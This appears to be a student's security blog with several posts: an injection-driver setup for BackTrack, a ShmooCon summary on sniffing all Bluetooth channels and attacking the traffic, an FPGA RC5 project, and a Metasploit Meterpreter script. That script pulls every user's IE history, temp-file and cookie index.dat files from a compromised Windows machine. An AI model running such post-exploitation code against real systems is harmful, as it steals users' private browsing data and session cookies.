Raj Web

So i got it… Yay!!! I must say I am very pleased. It is running XP and Ubuntu off the OEM harddrive. I also boot a persistent install of BT4 off of a 2 gig SD card. One thing that I want to mention is that the default wireless drivers for the 1000HE doest not support injection. To get it to work you need to update your ath9k drivers for the built in atheros card. This can be done by following this guide. Also… keep in mind that if you do not have a persistent install, you will need to do it all over again. So i suggest you check out this guide. If you have any questions feel free to drop a comment.

So I joined Intrepidus not too long ago and I’m loving every second of it. We just came back from ShmooCon, which was my first security conference. Shmoo was a great experience, and I’m excited to attend further cons. While a few of the talks were pretty informative, one in particular I found very interesting. Michael Ossmann and Dominic Spill spoke about how one can build an all channel Bluetooth monitor. Their approach towards solving this problem was ingenious. Quite honestly, any hack that allows us to capture data flows that were otherwise private is awesome. If this hack relies on a basic theory of digital signal processing (I’ll get into that later) as well as the normal security concepts we are all well aware of, it becomes that much more interesting. This Bluetooth presentation had all of those traits.

I don’t plan on reproducing the presentation since you can find that online, however, I do want to talk about what I believed was an interesting solution to a problem that they ran into. But before I can get into the solution I need to introduce the problem.

Bluetooth operates within a 79 MHz bandwidth. It uses 79 channels, each of which is 1 MHz wide. The devices randomly hop around the 79 MHz bandwidth 1600 times a second. All devices that are in a Bluetooth network (piconet) know the hopping pattern and listen to the right frequency at the right time. Ossmann and Spill were able to reverse out the hopping pattern of a piconet by passively listening to 25 channels of communication using their USRP (a tool used to help create software radio implementations.) Their USRP can sample a 25 MHz bandwidth and pass all the data to a computer for processing. They also developed a few scripts that can reverse out the hop sequence by looking at a fraction of a piconet conversation.

Once the pattern is discovered, monitoring a Bluetooth stream can go in one of two directions. You can sniff one channel at a time and retune the radio per hop, or you can record all 79 channels and parse out the correct channels in the DSP software. Both of these paths have some limiting factors. The first, retune per hop, cannot be done with the USRP. Retuning the 2.4 GHz card in the USRP cannot happen 1600 times a second, and therefore cannot hop as fast as the Bluetooth devices. One suggestion then was to bootstrap a Bluetooth dongle with the correct hop sequence and let it do the sniffing. But if we are going to spend thousands on a USRP we damn well want to keep using it. The second solution entails listening to all 79 channels, which would require 4 USRPs. However, buying 4 USRPs is 4 times harder than buying one. We need to find a cheaper way. Digital sampling theory to the rescue!

Using a principle called aliasing, Ossmann and Spill were able to turn their 25 MHz bandwidth USRP into one that can sample 79 MHz! Aliasing is a term used to describe the phenomena when two distinct analog signals create the same digital representation when they are sampled at a certain frequency. This is because at the points where the two signals are sampled, they also intersect each other. Refer to figure one below. The two analog signals are obviously different frequencies, however, if they are sampled at the blue points their digital representation would be identical. Usually this is a phenomena radio designers try to eliminate from their systems. This is because they need to read only one frequency, and the alias frequency would just add noise to the desired signal. Therefore many designs use band-pass filters to isolate one central frequency and eliminate the alias before sampling.

Figure 1. Aliasing in action.

However, for the purpose of Bluetooth monitoring, we do not need this filtering. This is because only one of the 79 channels is ever used at once. No one channel will interfere with the communication on another channel. Once the filters were isolated on the 2.4 GHz ISM board in the USRP, Ossmann and Spill could just remove it, choose an appropriate sampling frequency, and rely on the aliased frequencies of the 25 MHz band to pick up the rest of the information. Problem solved, and they can now use one USRP to sample the full band of Bluetooth!

So now that all your Bluetooth traffic are belong to us, the sky is the limit. As pointed out in the presentation, many of these devices do not encrypt traffic before it is transmitted. This opens the door to quite a number of attacks. There is the obvious consumer based traffic that can now be sniffed (cell phone, key board, and so on.) Bluetooth, however, has a strong industrial footing. A lot of these industrial applications are one of a kind systems, tailored for a specific facility. Any industrial facility that uses Bluetooth to monitor and control machinery must now consider this new threat to their assets. If there are any vulnerabilities in their deployed Bluetooth systems, proprietary company information could leak into the wrong hands. The presentation also mentioned that active Bluetooth attacks can now be developed. Once you have the hopping order, you can inject traffic into a piconet. This may lead to DoS attacks, unauthorized access and control, and other devious actions against the industrial equipment. Be forewarned…

-D1AB1069

(cross post on PhishMe)

Hi All,

So one of the pretty cool projects I worked on this semester was implementing RC5 encryption and decryption for a Xilinx Spartan 3. This was my first FPGA project. It opened my eyes to the great application of these incredible pieces of hardware. The speedup one can attain moving tasks from software into hardware is astonishing (Check this out). I will soon start other FPGA projects, hopefully geared towards another security application.

Raj

A friend, Joseph Puran (blog here), and I worked on a simple Meterpreter script for the Metasploit Framework. One can use this script to quickly pull the dat files that IE uses to store history, temp file, and cookie information. This script is still a work in progress. Soon it will be modified to parse the dat files and return only the needed information. This script can also be generalized to pull any file from each user directory within a windows box.

#Rajendra Umadas
#Joseph Puran
#version 0.95

#This function will take in the path that holds the windows user folders.
#It will then enumnerate all of those folders and pull the IE history, cookies,
#and temporary internet dat files.
#It may seem pointless to make this a function now, however their are future revisions planned that will #generalize its use.

def pullRawData(path)
#All the pulled data will be stored in msfRoot/IE_Browser_History/[Timestamp]/
t = Time.now
folderPath= ‘IE_Browser_History’ + ::File::Separator + t.strftime(”%Y_%m_%d_%H_%M_%S”)
::FileUtils.mkdir_p(folderPath)

#For each item in the folder that contains user information
client.fs.dir.foreach(path) {|user|

#CHECK its not the . or .. ELSE look at next item
next if user =~ /^(\.|\.\.)$/
#CHECK that it is a directory ELSE look at next item
next if not client.fs.file.stat(path+user).directory?
#The below three blocks are wrapped between beging and end blocks to allow us to
#Rescue from an expection. This is needed because if we ever try to access a file
#or directory that doesnt exist, it will raise an exception. If we do not catch
#this expection our entire script will die. This may leave information on the
#machine that we could have gathered. This exception handeling also works with files
#or directories where we do not have permissions to access.

#This block will be used to pull the history.dat file
begin
history = path + user + “\\Local Settings\\History\\History.IE5\\index.dat”
pathPrefix = folderPath + ::File::Separator + user
client.fs.file.download_file(pathPrefix + “_history.dat”, history)
print_line(”Extracted IE History from: ” + user)
rescue
end

#This block will be used to pull the temporary internet files index.data
begin
tempFile = path + user + “\\Local Settings\\Temporary Internet Files\\Content.IE5\\index.dat”
pathPrefix = folderPath + ::File::Separator + user
client.fs.file.download_file(pathPrefix + “_temp.dat”, tempFile)
print_line(”Extracted IE Temp Info from: ” + user)
rescue
end

#This block will be used to pull the cookies index.dat file
begin
cookies = path + user + “\\Cookies\\index.dat”
pathPrefix = folderPath + ::File::Separator + user
client.fs.file.download_file(pathPrefix + “_cookies.dat”, cookies)
print_line(”Extracted IE cookie info from: ” + user)
rescue
end

}
end

#Will implement other operations systems by passing in other base directories.
baseDir = “c:\\documents and settings\\”
pullRawData(baseDir)
#Will implement a parsing function to pull the important information out of the binary data pulled.

Hey All,

The penetration testing class I took this semester at NYU:Poly was definitely an eye opening experience. I was always interested in the idea of being able to ‘hack’ into various hardware and software systems. I knew that there are people out their with the ability to compromise these systems at their will. They could own whatever and whoever they chose to. This semester I completed my first steps towards joining their ranks.

This blog will be a portal that I will used to get my work out there. At first, it may be updated infrequently. It may host only remedial content. But, I promise, that as my journey continues it will only mature as my knowledge matures. Hopefully I can give back to the security community, both in the hardware and software fields, through this portal.

Raj